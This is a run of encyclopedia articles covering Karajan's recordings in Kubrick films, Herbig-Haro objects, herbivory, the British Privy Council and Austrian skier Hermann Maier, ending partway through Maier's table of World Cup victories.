          Karajan's Decca recordings of Richard Strauss' Also sprach Zarathustra and Johann Strauss' An der schnen, blauen Donau (The Blue Danube waltz) were used by director Stanley Kubrick in his science-fiction film 2001: A Space Odyssey (with Kubrick animating the sequence to match the prerecorded music, the opposite of the usual practice for soundtracks). The popular effect of this unconventional use of the music was such that the music became more identified for subsequent generations with space stations, primitive men, alien cubes and such, than with the original waltz. Some years later, Kubrick again used Karajan's recordings, this time Bla Bartk's Music for Strings, Percussion and Celesta in The Shining. Although there is a 1958 version by Ferenc Fricsay of the second movement of Beethoven's Ninth Symphony in Stanley Kubrick's 1971 film A Clockwork Orange, the symphony's finale we hear at the end of the movie is Karajan's now-famous 1963 recording. These two versions are from DG and performed by the same orchestra, The Berlin Philharmonic.


          


          Discography


          A complete discography of Karajan's recordings is available at the website of the Herbert von Karajan Centrum.


          


          Quotes


          
            	Explaining why he preferred conducting the Berlin Philharmonic to the Vienna Philharmonic: "If I tell the Berliners to step forward, they do it. If I tell the Viennese to step forward, they do it. But then they ask why."
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          Herbig-Haro objects are small patches of nebulosity associated with newly-born stars, and are formed when gas ejected by young stars collides with clouds of gas and dust nearby at speeds of several hundred kilometres per second. Herbig-Haro objects are ubiquitous in star-forming regions, and several are often seen around a single star, aligned along its rotational axis.


          HH objects are transient phenomena, lasting only a few thousand years at most. They can evolve visibly over quite short timescales as they move rapidly away from their parent star into the gas clouds in interstellar space (the interstellar medium or ISM). Hubble Space Telescope observations reveal complex evolution of HH objects over a few years, as parts of them fade while others brighten as they collide with clumpy material in the interstellar medium.


          The objects were first observed in the late 19th century by Sherburne Wesley Burnham, but were not recognised as being a distinct type of emission nebula until the 1940s. The first astronomers to study them in detail were George Herbig and Guillermo Haro, after whom they have been named. Herbig and Haro were working independently on studies of star formation when they first analysed Herbig-Haro objects, and recognised that they were a by-product of the star formation process.


          


          Discovery and history of observations


          The first Herbig-Haro object was observed in the late 19th century by Burnham, when he looked at the star T Tauri with the 36-inch (910mm) refracting telescope at Lick Observatory and noted a small patch of nebulosity nearby. However, it was catalogued merely as an emission nebula, later becoming known as Burnham's Nebula, and was not recognised as a distinct class of object. However, T Tauri was found to be a very young and variable star, and is the prototype of the class of similar objects known as T Tauri stars which have yet to reach a state of hydrostatic equilibrium between gravitational collapse and energy generation through nuclear fusion at their centres.
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          Fifty years after Burnham's discovery, several similar nebulae were discovered which were so small as to be almost star-like in appearance. Both Haro and Herbig made independent observations of several of these objects during the 1940s. Herbig also looked at Burnham's Nebula and found that it displayed an unusual electromagnetic spectrum, with prominent emission lines of hydrogen, sulfur and oxygen. Haro found that all the objects of this type were invisible in infrared light.


          Following their independent discoveries, Herbig and Haro met at an astronomy conference in Tucson, Arizona. Herbig had initially paid little attention to the objects he had discovered, being primarily concerned with the nearby stars, but on hearing Haro's findings he carried out more detailed studies of them. The Soviet astronomer Viktor Ambartsumian gave the objects their name, and based on their occurrence near young stars (a few hundred thousand years old), suggested that they might represent an early stage in the formation of T Tauri stars.


          Studies showed that HH objects were highly ionised, and early theorists speculated that they might contain low-luminosity hot stars. However, the absence of infrared radiation from the nebulae meant there could not be stars within them, as these would have emitted abundant infrared light. Later studies suggested that the nebulae might contain protostars, but eventually HH objects came to be understood as material ejected by nearby young stars, and colliding at supersonic speeds with the interstellar medium (ISM), with the resulting shock waves generating visible light.


          In the early 1980s, observations revealed for the first time the jet-like nature of most HH objects. This led to the understanding that the material ejected to form HH objects is highly collimated (concentrated into narrow jets). Stars are often surrounded by accretion disks in their first few hundred thousand years of existence, which form as gas falls onto them, and the rapid rotation of the inner parts of these disks leads to the emission of narrow jets of partially ionized plasma perpendicular to the disk, known as polar jets. When these jets collide with the interstellar medium, they give rise to the small patches of bright emission which comprise HH objects.


          


          Physical characteristics
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          Emission from HH objects is caused by shock waves when they collide with the interstellar medium, but their motions are complicated. Spectroscopic observations of their doppler shifts indicate velocities of several hundred kilometres per second, but the emission lines in the spectra of HH objects are too weak to have been formed in such high speed collisions. This probably means that some of the material they are colliding with is also moving outwards, although at a slower speed.


          The total mass being ejected to form typical HH objects is estimated to be of the order of 120 Earth-masses, a very small amount of material compared to the mass of the stars themselves. The temperatures observed in HH objects are typically about 800012,000 K, similar to those found in other ionized nebulae such as H II regions and planetary nebulae. They tend to be quite dense, with densities ranging from a few thousand to a few tens of thousands of particles per cm, compared to generally less than 1000/cm in H II regions and planetary nebulae. HH objects consist mostly of hydrogen and helium, which account for about 75% and 25% respectively of their mass. Less than 1% of the mass of HH objects is made up of heavier chemical elements, and the abundances of these are generally similar to those measured in nearby young stars.


          Near to the source star, about 2030% of the gas in HH objects is ionised, but this proportion decreases at increasing distances. This implies that the material is ionised in the polar jet, and recombines as it moves away from the star, rather than being ionised by later collisions. Shocking at the end of the jet can re-ionise some material, however, giving rise to bright "caps" at the ends of the jets.


          


          Numbers and distribution


          Over 400 individual HH objects or groups are now known. They are ubiquitous in star-forming H II regions, and are often found in large groups. They are typically observed near Bok globules ( dark nebulae which contain very young stars) and often emanate from them. Frequently, several HH objects are seen near a single energy source, forming a string of objects along the line of the polar axis of the parent star.


          The number of known HH objects has increased rapidly over the last few years, but is still thought to be a very small proportion of the total number existing in our galaxy. Estimates suggest that up to 150,000 exist, the vast majority of which are too far away to be resolved with current technological capabilities. Most HH objects lie within 0.5 parsecs of their parent star, with very few found more than 1pc away. However, some are seen several parsecs away, perhaps implying that the interstellar medium is not very dense in their vicinity, allowing them to travel further from their source before dispersing.


          


          Proper motions and variability
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          Spectroscopic observations of HH objects show that they are moving away from the source stars at speeds of 100 to 1000km/s. In recent years, the high optical resolution of Hubble Space Telescope observations has revealed the proper motion of many HH objects in observations spaced several years apart. These observations have also allowed estimates of the distances of some HH objects via the expansion parallax method.


          As they move away from the parent star, HH objects evolve significantly, varying in brightness on timescales of a few years. Individual knots within an object may brighten and fade or disappear entirely, while new knots have been seen to appear. As well as changes caused by interactions with the ISM, interactions between jets moving at different speeds within HH objects also cause variations.


          The eruption of jets from the parent stars occurs in pulses rather than as a steady stream. The pulses may produce jets of gas moving in the same direction but at different speeds, and interactions between different jets create so-called "working surfaces", where streams of gases collide and generate shock waves.


          Infrared counterparts
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          Herbig-Haro (HH) objects associated with very young stars or very massive protostars are often hidden from view at optical wavelengths by the cloud of gas and dust from which they form. This surrounding natal material can produce tens or even hundreds of magnitudes of extinction at optical wavelengths. Such deeply embedded objects can only be observed at infrared or radio wavelengths, usually in the light of hot molecular hydrogen or warm carbon monoxide emission.


          In recent years, infrared images have revealed dozens of examples of "infrared HH objects". Most look like bow waves (similar to the waves at the head of a sailing ship), and so are usually referred to as molecular "bow shocks". Like HH objects, these supersonic shocks are driven by collimated jets from the two poles of a protostar. They sweep up or "entrain" the surrounding dense molecular gas to form a continuous flow of material, which is referred to as a Bipolar outflow. Infrared bow shocks travel at hundreds of kilometers per second, heating gas to hundreds or even thousands of degrees. Because they are associated with the youngest stars, where accretion is particularly strong, infrared bow shocks are usually associated with more powerful jets than their optical HH cousins.


          The physics of infrared bow shocks can be understood in much the same way as that of HH objects, since these objects are essentially the same - it is only the conditions in the jet and surrounding cloud that are different, causing infrared emission from molecules rather than optical emission from atoms and ions.
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          Herbivory is a form of predation in which an organism, known as a herbivore, consumes principally autotrophs such as plants, algae and photosynthesizing bacteria. By that definition, many fungi, some bacteria, many animals, some protists and a small number of parasitic plants can be considered herbivores. However, herbivory is generally restricted to animals eating plants. Fungi, bacteria and protists that feed on living plants are usually termed plant pathogens. Microbes that feed on dead plants are saprotrophs. Flowering plants that obtain nutrition from other living plants are usually termed parasitic plants. More generally, organisms that feed on autotrophs in general are known as primary consumers.


          


          Herbivores
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          A herbivore is an animal that is adapted to eat primarily plant matter (rather than meat). Although such animals are sometimes referred to as being vegetarian, this term is more properly reserved for humans who choose not to eat meat as opposed to animals that are unable to make such choices. The diets of some herbivorous animals vary with the seasons, especially in the temperate zones, where different plant foods are most available at different times of year.


          There is a misperception that if an animal is herbivorous, it represents less danger to humans than a carnivore (or, sometimes, no danger at all). This is not logically sound; few animals, even carnivores, will seek humans as a food source, but any animal will attack a human if necessary to defend itself. For example, in national parks such as the United States' Yellowstone Park, bison represent significantly more danger to humans than wolves, which are likely to avoid people. Of Africa's Big Five game (a term coined by hunters in Africa to refer to the five most dangerous animals to hunt: Rhinoceros, Leopard, Cape Buffalo, Elephant and Lion), three are herbivores.


          Herbivores form an important link in the food chain as they transform the sun's energy stored in the plants to food that can be consumable by carnivores and omnivores up the food chain. As such, they are termed the primary consumers in the food chain.


          


          Feeding strategies


          Herbivores differ in the extent, specificity and nature of their feeding.


          They can be grouped according to which part of the plant they eat: frugivores which eat mainly fruit; folivores, which specialize in eating leaves; nectarivores, which feed on nectar; among herbivorous insects and other arthropods, the level of feeding specialization can be far more fine-tuned, including seed-eaters (" granivores"), pollen-eaters (" palynivores"), plant fluid-feeders (" mucivores"), and those specialized to feed on wood (" xylophages") or roots (" rhizophages"). In other animals, the degree of specialization is not so advanced, however, and many fruit- and leaf-eating animals also eat other parts of plants, notably roots and seeds.


          The techniques used to get at the foodstuff are wide and varied, and include the "pierce and suck" technique, surface fluid feeding, hole feeding, margin feeding and skeletonisation.


          



          


          Evolution of herbivory


          Our understanding of herbivory in geological time comes from three sources: fossilised plants, which may preserve evidence of defence (such as spines), or herbivory-related damage; the observation of plant debris in fossilised animal faeces; and the construction of herbivore mouthparts.


          Long thought to be a Mesozoic phenomenon, evidence for herbivory is found almost as soon as fossils which could show it. Within under 20 million years of the first fossils of sporangia and stems towards the close of the Silurian, around , there is evidence that they were being consumed. Animals fed on the spores of early Devonian plants, and the Rhynie chert also provides evidence that organisms fed on plants using a "pierce and suck" technique.


          During the ensuing 75 million years, plants evolved a range of more complex organs - from roots to seeds. There is no evidence for these being fed upon until the middle-late Mississippian, . There was a gap of 50 to 100 million years between each organ evolving, and it being fed upon; this may be due to the low levels of O2 during this period, which may have suppressed evolution. Further than their arthropod status, the identity of these early herbivores is uncertain. Hole feeding and skeletonisation are recorded in the early Permian, with surface fluid feeding evolving by the end of that period.


          Arthropods have evolved herbivory in four phases, changing their approach to herbivory in response to changing plant communities.


          



          


          Plant defences


          Plant defence against herbivory include a range of adaptations evolved by plants to improve their survival and reproduction by reducing the impact of animals that eat them. Plants have evolved an enormous array of mechanical and chemical defences against herbivores.


          These defences include mechanical protections on the surface of the plant, production of complex polymers that reduce plant digestibility to animals, and the production of toxins that kill or repel herbivores. Defenses can either be constitutive, always present in the plant, or induced, produced or translocated by the plant following damage or stress. The term host plant resistance is also used by plant breeders to refer to these mechanisms.


          Plants have also evolved features that enhance the probability of attracting natural enemies to herbivores. Specifically, they emit semiochemicals, odours that attract natural enemies, and provide food and housing to maintain the natural enemies presence.


          A given plant species often has many types of defensive mechanisms, mechanical or chemical, constitutive or induced, which additively serve to protect the plant, and allow it to escape from herbivores.


          In some cases, herbivory is actually encouraged by plants to assist in reproduction. A notable example is the production of nectar to attract bees, which are necessary for pollination.


          



          


          Herbivore adaptations to defences
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          Herbivores are dependent on plants for food, and have coevolved mechanisms to obtain this food despite the evolution of a diverse arsenal of plant defenses against herbivory. Herbivores adaptations to plant defense have been likened to offensive traits and consist of those traits that allow for increased feeding and use of a host. Plants, on the other hand, protect their resources for use in growth and reproduction, by limiting the ability of herbivores to eat them. Relationships between herbivores and their host plants often results in reciprocal evolutionary change. When a herbivore eats a plant it selects for plants that can mount a defensive response, whether the response is incorporated biochemically or physically, or induced as a counterattack. In cases where this relationship demonstrates specificity (the evolution of each trait is due to the other), and reciprocity (both traits must evolve), the species are thought to have coevolved. The escape and radiation mechanisms for coevolution, presents the idea that adaptations in herbivores and their host plants, has been the driving force behind speciation.
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        Her Majesty's Most Honourable Privy Council


        
          

          Her Majesty's Most Honourable Privy Council is a body of advisors to the British Sovereign. The Privy Council was formerly a powerful institution, but its substantial decisions are now controlled by one of its committees, the Cabinet. The Council also performs judicial functions, which are for the most part delegated to the Judicial Committee.


          The Sovereign, when acting on the Council's advice, is known as the King-in-Council or Queen-in-Council. The members of the Council are collectively known as The Lords of Her Majesty's Most Honourable Privy Council (sometimes The Lords and others of...). The chief officer of the body is the Lord President of the Council, who is the fourth highest Great Officer of State, a member of the Cabinet, and normally, the Leader of either the House of Lords or the House of Commons. Another important official is the Clerk, whose signature is appended to all orders made in the Council.


          Both "Privy Counsellor" and "Privy Councillor" may be correctly used to refer to a member of the Council. The former, however, is preferred by the Privy Council Office, emphasising English usage of the term "Counsellor" as "one who gives counsel", as opposed to "one who is a member of a council". A Privy Counsellor is said to be 'sworn of' the Council when he/she first joins it.


          Members of the British House of Commons who are also Privy Counsellors are traditionally addressed as " The Right Honourable" (see also The Right Honourable) when referred to in the chamber. Other members of the House are simply addressed as " The Honourable". Examples of such address include "my Right Honourable friend", for a member of one's own party, "The Right Honourable gentleman" (or "lady") for members of other parties, and "The Right Honourable member for ..." adding the name of a constituency. The title is usually also used when formally referring to the member in the media, such as when announcing a speech to the nation by the Prime Minister, or when an individual takes part in a public event as a representative of the Government.


          


          History


          During the reigns of the Norman monarchs, the English Crown was advised by a royal court, which consisted of magnates, ecclesiastics and high officials. The body originally concerned itself with advising the Sovereign on legislation, administration and justice. Later, different bodies assuming distinct functions evolved from the court. The courts of law took over the business of dispensing justice, while Parliament became the supreme legislature of the kingdom. Nevertheless, the Council retained the power to hear legal disputes, either in the first instance or on appeal. Furthermore, laws made by the Sovereign on the advice of the Council, rather than on the advice of Parliament, were accepted as valid.


          Powerful Sovereigns often used the body to circumvent the courts and Parliament. For example, a committee of the Councilwhich later became the Court of the Star Chamberwas during the fifteenth century permitted to inflict any punishment except death, without being bound by any rules regarding evidence or the burden of proof. During Henry VIII's reign, the Sovereign, on the advice of the Council, was allowed to enact laws by mere proclamation. The legislative pre-eminence of Parliament was not restored until after Henry VIII's death.


          Though the royal Council retained legislative and judicial responsibilities, it became a primarily administrative body. The Council was a large bodyit consisted of forty members in 1553which made it difficult to manage as an advisory body. Therefore, the Sovereign relied on a small committee, which later evolved into the modern Cabinet. James I and Charles I attempted to rule as absolute monarchs, contributing not only to further deterioration of the power of the Council but ultimately of the crown as well.


          After the English Civil War, Charles I was executed, and the monarchy and House of Lords abolished. The remaining house of Parliament, the House of Commons, instituted a Council of State to execute laws and to direct administrative policy. The forty-one members of the Council were elected by the Commons; the body was headed by Oliver Cromwell, the de facto military dictator of the nation. In 1653, however, Cromwell became Lord Protector, and the Council was reduced to between thirteen and twenty-one members, all elected by the Commons. In 1657, the Commons granted Cromwell even greater powers, some of which were reminiscent of those enjoyed by monarchs. The Council became known as the Protector's Privy Council; its members were appointed by the Lord Protector, subject to Parliament's approval.


          In 1659, shortly before the restoration of the monarchy, the Protector's Council was abolished. Charles II restored the royal Privy Council, but he, like previous Stuart monarchs, chose to rely on a small committee of advisors. Under George I, who did not speak English, even more power passed to the body. Thus, the Privy Council, as a whole, ceased to be a body of important confidential advisors to the Sovereign; the role passed to a committee of the Privy Council, now known as the Cabinet.


          


          Composition


          The Sovereign may appoint anyone a Privy Counsellor, but in practice appointments are made only on the advice of the Government, and generally consist only of senior members of the government. There is no limit to the numbers sworn in as members. Presently there are several hundred.


          The heir is always appointed to the Council, when of age, as are the Church of England's three highest ecclesiasticsthe Archbishop of Canterbury, the Archbishop of York and the Bishop of London. Other senior members of the Royal Family may also be appointedThe Prince Philip is a member, the most senior at present in terms of service.


          Several senior judges Lords of Appeal in Ordinary, judges of the Court of Appeal of England and Wales, judges of the Court of Appeal in Northern Ireland and judges of the Inner House of the Court of Session (the highest court in Scotland)are also named to the Privy Council.


          Two civil servants, the Cabinet Secretary and the Queen's Private Secretary are always appointed to the Council.


          The bulk of Privy Counsellors, however, are politicians. The Prime Minister, ministers in the cabinet, and the Leader of the Opposition must be sworn to the Privy Council on appointment. Leaders of large parties in the House of Commons, some senior ministers outside the cabinet, and on occasion senior Parliamentarians are appointed Privy Counsellors.


          Although the Privy Council is primarily a British institution, officials from some other Commonwealth realms are also appointed to the body. The most notable continuing instance is New Zealand, whose Prime Minister, senior politicians, Chief Justice and Court of Appeal judges are conventionally made Privy Counsellors, as formerly were the prime ministers and chief justices of Canada and Australia. Prime Ministers of some other Commonwealth countries which retain the Queen as their sovereign continue to be sworn as Privy Counsellors, though the practice is declining.


          The following oath is administered to Privy Counsellors before they take office:


          
            You do swear by Almighty God to be a true and faithful Servant unto The Queen's Majesty as one of Her Majesty's Privy Council. You will not know or understand of any manner of thing to be attempted, done or spoken against Her Majesty's Person, Honour, Crown or Dignity Royal, but you will lett and withstand the same to the uttermost of your power, and either cause it to be revealed to Her Majesty Herself, or to such of Her Privy Council as shall advertise Her Majesty of the same. You will in all things to be moved, treated and debated in Council, faithfully and truly declare your Mind and Opinion, according to your Heart and Conscience; and will keep secret all matters committed and revealed unto you, or that shall be treated of secretly in Council. And if any of the said Treaties or Counsels shall touch any of the Counsellors you will not reveal it unto him but will keep the same until such time as, by the consent of Her Majesty or of the Council, Publication shall be made thereof. You will to your uttermost bear Faith and Allegiance to the Queen's Majesty; and will assist and defend all Jurisdictions, Pre-eminences, and Authorities, granted to Her Majesty and annexed to the Crown by Acts of Parliament, or otherwise, against all Foreign Princes, Persons, Prelates, States, or Potentates. And generally in all things you will do as a faithful and true Servant ought to do to Her Majesty. So help you God.

          


          Senior ministers who lose office and go into opposition remain Privy Counsellors, (although of course they are no longer summoned to meetings of the Cabinet, which is a Committee of the Privy Council). Confidential discussions between senior politicians of opposite parties may thus be held "on Privy Council terms".


          Membership ceases upon the dissolution of the Privy Council, which automatically occurs six months after the death of a monarch. (Formerly, until a statute to the contrary was passed during the reign of Anne, the death of a monarch brought an end to the Council immediately.) By convention, however, the Sovereign reappoints all members of the Council after its dissolution; hence, membership is, in practice, for life.


          The Sovereign may however remove an individual from the Council, and individuals may choose to resign to avoid expulsion. The last individual to leave the Privy Council voluntarily was Jonathan Aitken, who left in 1997 following allegations of perjury. He was one of only three Privy Counsellors to resign in the twentieth century (the others being John Profumo, in 1963, and John Stonehouse, in 1976). The last individual to be expelled from the Council against his will was Sir Edgar Speyer, 1st Baronet, who was removed in 1921 for pro-German activities during the First World War.


          


          Meetings
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          Meetings of the Privy Council are normally held once each month wherever the Sovereign may be residing at the time. The Sovereign attends the meeting, though his or her place may be taken by two or more Counsellors of State. Under the Regency Act 1937, Counsellors of State may be chosen from amongst the Sovereign's spouse and the four individuals next in the line of succession who are over 21 years of age (18 for the Heir to the Throne).


          Normally the Sovereign is pleased to remain standing at meetings of the Privy Council, so that no other members may sit down, which ensures that the meetings are kept brief. The Lord President reads out a list of Orders to be made, and the Sovereign merely says "Approved." In theory, the Sovereign may also say "Declined" but in practice this has not happened since the reign of Queen Anne.


          Only a few privy counsellors attend the regular meetings, and only when summoned (at the Government's request).


          The settled practice is that day-to-day meetings of the Council are attended by four privy counsellors, all being at the time members of the Cabinet. In other words, regular meetings of the Council are only attended by members of the Government of the day, since they are the ones constitutionally charged with the task of advising the Crown on the actions formally taken by the British monarch. Unless prevented from attending, the Government Minister holding office as Lord President of the Council is usually among the privy counsellors who are present at the regular meetings; the others are invited at random among the members of the Cabinet by the Privy Council Office, that checks who is available to attend, so as to guarantee a quorum at each meeting. Due to Britain's modern conventions of parliamentary government and constitutional monarchy, every order made in Council has been drafted by a Government Department and has already been approved by the responsible Ministers and the action taken by the Queen in Council is a mere formality required for the valid adoption of the measure.


          Full meetings of the Privy Council are only held to receive the statutory oaths required before a Regent can enter into the execution of his office (which happened on February 6th, 1811, when George, Prince of Wales, the future George IV, became Regent during the illness of his father, King George III; the current statutes regulating the establishment of a Regency in the case of minority or incapacity of the Sovereign also require any Regents to take their oaths before the Privy Council); when the reigning Sovereign announces his or her own engagement (which last happened on November 23rd, 1839, in the reign of Queen Victoria); or when there is a Demise of the Crown, either by the death or abdication of the monarch.


          In the latter case, the Privy Council  together with the Lords Spiritual, the Lords Temporal, the Lord Mayor of London, the Aldermen of the City of London and representatives of Commonwealth nations  makes a proclamation declaring the accession of the new Sovereign and receives an oath from the new monarch relating to the security of the Church of Scotland, as required by law. That special assembly of the Privy Council and others held to proclaim the accession of the new Sovereign and to receive the required statutory oath from the monarch, is known as an Accession Council. The last such meetings were held on February 6th and February 8th, 1952. Given that Her present Majesty was abroad when the last Demise of the Crown took place, the Accession Council had to meet twice, once to proclaim the Sovereign (meeting of February 6th, 1952), and then, after the new Queen had arrived in Britain, to receive from Her the oath required by statute (meeting of February 8th, 1952).


          


          Functions


          The Sovereign exercises executive authority by making Orders-in-Council upon the advice of the Privy Council. Orders-in-Council, which are drafted by the government rather than by the Sovereign, are secondary legislation and are used to make government regulations and to make government appointments. Furthermore, Orders-in-Council are used to grant the Royal Assent to laws passed by the legislative authorities of British Crown dependencies.


          Distinct from Orders-in-Council are Orders of Council. Whilst the former are made by the Sovereign on the advice of the Privy Council, the latter are made by members of the Privy Council without the participation of the Sovereign. They are issued under the specific authority of Acts of Parliament, and are normally used to regulate public institutions.


          The Sovereign, furthermore, issues Royal Charters on the advice of the Privy Council. Charters grant special status to incorporated bodies; they are used to grant city and borough status to towns.


          The Privy Council therefore deals with a wide variety of matters, including coinage, university statutes, graveyards, dates of Bank Holidays and the appointment of government ministers. One-off announcements such as the merging or splitting of government departments can also be dealt with more easily by the Privy Council than by the departments themselves.


          The Crown-in-Council also performs certain judicial functions. Within the United Kingdom, the Crown-in-Council hears appeals from ecclesiastical courts, the Court of Admiralty of the Cinque Ports, prize courts and the Disciplinary Committee of the Royal College of Veterinary Surgeons, appeals against schemes of the Church Commissioners and appeals under certain Acts of Parliament (eg the House of Commons Disqualification Act 1975). The Crown-in-Council was formerly a supreme court of appeal for the entire British Empire, a function which began to be cut back beginning in 1875 when the Supreme Court of Canada Act removed the Imperial Privy Council's appellate function in criminal matters for Canada; the Privy Council does continue to hear appeals from a few Commonwealth countries, from British Overseas Territories, Sovereign Base Areas and crown dependencies. The aforementioned cases are theoretically decided by the monarch in Council, but are in practice heard and decided by the Judicial Committee of the Privy Council, which consists of senior judges who are Privy Counsellors (hence the abbreviation in jurisprudence "JCPC"). The decision of the Committee is presented in the form of "advice" to the monarch, but in practice it is always followed by the Sovereign, who formally approves the recommendation of the Judicial Committee. The Judicial Committee has direct jurisdiction in cases relating to the Scotland Act 1998, the Government of Wales Act 1998 and the Northern Ireland Act 1998.


          In short, the Privy Council deals with a variety of formal matters of State which either have not been delegated from the Crown to any other official body, or which Acts of Parliament have placed under direct Crown authority for convenience.


          


          Rights and privileges of members


          Though the Privy Council as a whole is " The Most Honourable", individual Privy Counsellors are entitled to the style " The Right Honourable". Peers who are also members of the Privy Council also append the post-nominal letters "PC": as peers are already entitled to the style "The Right Honourable" (in the case of barons, viscounts and earls) or other higher style (in the case of dukes and marquesses), even when they are not Privy Counsellors, the letters "PC" are necessary to indicate membership of the Council. For commoners, on the other hand, "The Right Honourable" is sufficient identification of status as a Privy Counsellor. The Earl of Mar and Kellie and the Earl of Scarbrough prefer not to be addressed as 'The Rt Hon' at all on the grounds that the prefix more properly belongs to Privy Counsellors.


          Privy Counsellors are entitled to positions in the order of precedence. At the beginning of each new Parliament, members of the House of Commons who are Privy Counsellors may take the oath of allegiance before all other members except the Speaker and the Father of the House (the most senior member of the House). Formerly, whenever a Privy Counsellor rose to make a speech in the House of Commons at the same time as another member, the Speaker would first recognise the Privy Counsellor. This informal custom, however, was abolished in 1998.


          Also, only Privy Counsellors can present Royal Messages to the Houses of Parliament, and only they can signify, at the monarch's command, the royal consent to the examination of a bill affecting the rights of the Crown.


          Privy Counsellors are allowed to sit on the steps to the Sovereign's Throne in the House of Lords Chamber during debates. They share this privilege with princes of the blood, hereditary Lords who were members of the House of Lords before the reform of 1999, diocesan bishops of the Church of England, retired bishops who formerly sat in the House of Lords, the Dean of Westminster, Peers of Ireland, the eldest child of members of the House of Lords, the Clerk of the Crown in Chancery and the Gentleman Usher of the Black Rod.


          Each Privy Counsellor has the individual right of personal access to the Sovereign. Peers also enjoy the same right individually; members of the House of Commons possess the right collectively. In each case, personal access may only be used to tender advice on public affairs.


          


          Other councils


          The Privy Council is one of the four principal councils of the Sovereign. The other three are: the courts of law, the commune concilium (common council, or Parliament) and the magnum concilium (great council, or the assembly of all the peers of the Realm). All are still in existence, but the magnum concilium has not been formally summoned since 1640.


          Several other "Privy Councils" have advised the Sovereign. England and Scotland once had separate Privy Councils, but the Act of Union 1707, which united the two countries into the Kingdom of Great Britain, replaced both with a single body. Ireland, on the other hand, continued to have a separate Privy Council even after the Act of Union 1800. The Privy Council of Ireland was abolished in 1922, when the southern part of Ireland separated from the United Kingdom; it was succeeded by the Privy Council of Northern Ireland, which became dormant after the suspension of the Parliament of Northern Ireland. Only about ten members are alive [in 2006].


          Canada has had its own Privy Councilthe Queen's Privy Council for Canadasince 1867. (Note that while the Canadian Privy Council is specifically "for Canada", the Privy Council discussed above is not "for the United Kingdom"; in order to clarify the ambiguity where appropriate it is referred to as the Imperial Privy Council.) The equivalent organ of state in the other Commonwealth Realms, Canadian Provinces, Australian States and some Commonwealth Republics is called the Executive Council.
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              	Olympic medalist
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              Hermann Maier
            


            
              	Medal record
            


            
              	Men's Alpine skiing
            


            
              	Gold

              	1998 Nagano

              	Giant slalom
            


            
              	Gold

              	1998 Nagano

              	Super-G
            


            
              	Silver

              	2006 Turin

              	Super-G
            


            
              	Bronze

              	2006 Turin

              	Giant slalom
            


            
              	World Championships
            


            
              	Gold

              	1999 Vail

              	Downhill
            


            
              	Gold

              	1999 Vail

              	Super-G
            


            
              	Gold

              	2005 Bormio

              	Giant slalom
            


            
              	Silver

              	2001 St. Anton

              	Downhill
            


            
              	Silver

              	2003 St. Moritz

              	Super-G
            


            
              	Bronze

              	2001 St. Anton

              	Super-G
            

          


          Hermann Maier (born December 7, 1972, Altenmarkt im Pongau) is an Austrian skier who has won four overall World Cup titles (1998, 2000, 2001, 2004), two Olympic gold medals (both in 1998), three World Championship titles (1999: 2, 2005: 1) and 53 races in the World Cup. He ranks among the likes of Jean-Claude Killy, Ingemar Stenmark, Toni Sailer, Alberto Tomba, Kjetil Andr Aamodt and Franz Klammer as one of the best exponents of the sport.


          Maier did not initially enjoy much success in skiing. As a 15-year old at the Schladming ski academy, he was sent home after being told he wouldn't make it because of his slight build caused by growth impairments. He returned home to his father's ski school in Flachau, which is still Maier's hometown. He took up work as a bricklayer in the summer and a ski instructor in the winter.


          Participating in local races, Maier became a multiple regional champion in Salzburg and Tyrol, but still was not able to gain a spot in the strong Austrian World Cup skiing team. Putting that behind him, his outstanding talent was recognized for the first time by Austrian coaches in 1996, when he was timed with the 12th fastest time in a World Cup giant slalom in Flachau, although only starting as a forerunner and not participating in the actual competition. This would become the starting point of his international career. In 1997 he won his first World Cup event - a super-G race in Garmisch-Partenkirchen, Germany. He quickly established himself as an explosive and dynamic skier, well known for his strength, his willingness to take risks and the endless effort he put into his training sessions.


          Since then he has dominated the sport, winning the gold medal in the giant-slalom and super-G at the 1998 Winter Olympics in Nagano only a few days after a dramatic crash in the downhill race, which put him on the cover of the American sports magazine Sports Illustrated and made him a well known sportsman around the globe. In the same year he won the super-G World Cup and the overall World Cup. He went on to the win the overall World Cup in 2000 and 2001.


          
            [image: Maier at "Day of Sports" Festival Vienna 2006.]

            
              Maier at "Day of Sports" Festival Vienna 2006.
            

          


          His career seemed over after a near-fatal motorbike accident in August 2001, colliding with a car on his way home from a summer practice session. Doctors were close to amputating his leg, but instead Maier underwent massive reconstructive surgery. Many thought his career was over, and he had to sit out the 2001-2002 and 2002-2003 seasons and missed the 2002 Winter Olympics in Salt Lake City.


          However, Maier returned to the World Cup in January 2003 in Adelboden, Switzerland. He shocked the skiing world with an amazing super-G victory in the skiing-mecca of Kitzbhel, Austria only two weeks later. 2003-2004, in his first full season back, he won the super-G World Cup and the overall competition for the fourth time in his career, a feat widely seen as one of the greatest comebacks in sports history. In 2004 Hermann Maier received the Laureus World Sports Award for the "Comeback of the Year".


          Reflecting his apparently indestructible nature, he is sometimes jocularly known as "The Herminator". After his Olympic gold medals in Nagano he also appeared on Jay Leno's Tonight Show on NBC - together with Austrian-born actor Arnold Schwarzenegger, who is known worldwide as " The Terminator".


          In 2004, Maier wrote an autobiography with his friend and former publicity agent, Knut Okresek. The German language book, Hermann Maier: Das Rennen Meines Lebens, dealt mainly with his stunning recovery from the 2001 motorcycle accident. In 2005, VeloPress, a Boulder, Colorado based publisher affiliated with Ski Racing magazine, acquired the worldwide English language rights to the book, which was published in time for the 2006 Olympics in Turin, Italy, as Hermann Maier: The Race of My Life.


          In October 2005, winning the giant slalom in Slden, he reached 51 victories in the World Cup, which makes him the fourth-best alpine-skier of all time behind Ingemar Stenmark, Annemarie Moser-Prll and Vreni Schneider.


          On June 20th 2006, he announced he was switching to HEAD as his equipment sponsor, leaving his long time sponsor Atomic.


          On January 18th 2008, he was ranked second in the Kitzbhel's super-G only behind Marco Bchel. His career result in Kitzbhel's super-Gs is incredible and the best in history (in just 7 participations he made incredible 5 wins and 2 second places). Day later, he was fifth in Kitzbhel's downhill. These achievements are his best results of the 2007/08 season yet.


          


          World Cup victories
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              	Season

              	Discipline
            


            
              	2004

              	Overall
            


            
              	2004

              	Super-G
            


            
              	2001

              	Overall
            


            
              	2001

              	Downhill
            


            
              	2001

              	Super-G
            


            
              	2001

              	Giant Slalom
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              	Overall
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              	Downhill
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              	Super-G
            


            
              	2000

              	Giant Slalom
            


            
              	1999

              	Super-G
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              	Overall
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              	Super-G
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              	Giant Slalom
            

          


          


          Individual victories


          
            
              	
                

                Downhill


                
                  
                    	Date

                    	Location
                  


                  
                    	29 December 1997

                    	[image: Flag of Italy] Bormio
                  


                  
                    	16 January 1998

                    	[image: Flag of Switzerland] Wengen
                  


                  
